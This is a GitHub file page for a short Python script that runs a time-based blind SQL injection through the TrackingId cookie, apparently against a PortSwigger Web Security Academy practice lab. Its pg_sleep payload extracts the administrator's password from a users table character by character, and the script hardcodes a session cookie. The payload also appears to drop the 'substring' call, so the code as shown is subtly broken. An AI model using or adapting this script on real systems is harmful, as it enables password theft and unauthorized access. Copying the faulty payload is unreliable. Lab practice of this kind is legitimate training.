-
Notifications
You must be signed in to change notification settings - Fork 0
/
Blind_SQL_time.py
56 lines (33 loc) · 1.38 KB
/
Blind_SQL_time.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+c
signal.signal(signal.SIGINT, def_handler)
main_url = "http://0aed003f04b171d6c0d8733f007500a2.web-security-academy.net"
characters = string.ascii_lowercase + string.digits
#string.printable cambiar
def makeRequest():
password = ""
p1 = log.progress("Brute force")
p1.status("Initiating brute-force attack")
time.sleep(2)
p2 = log.progress("Password")
for position in range(1, 21):
for character in characters:
cookies = {
'TrackingId' : "SShXhd6uxRNk8MKi'||(select case when (password,%d,1)='%s' then pg_sleep(1.5) else pg_sleep(0) end from users where username='administrator')-- -" % (position, character),
'session' : 'NpzSjVIK9dUjtKxgyQkwEJLSKJ5uj6Gy'
}
p1.status(cookies['TrackingId'])
time_start = time.time()
r = requests.get(main_url, cookies=cookies)
time_end = time.time()
if time_end - time_start > 1.5:
password += character
p2.status(password)
break
if __name__ == '__main__':
makeRequest()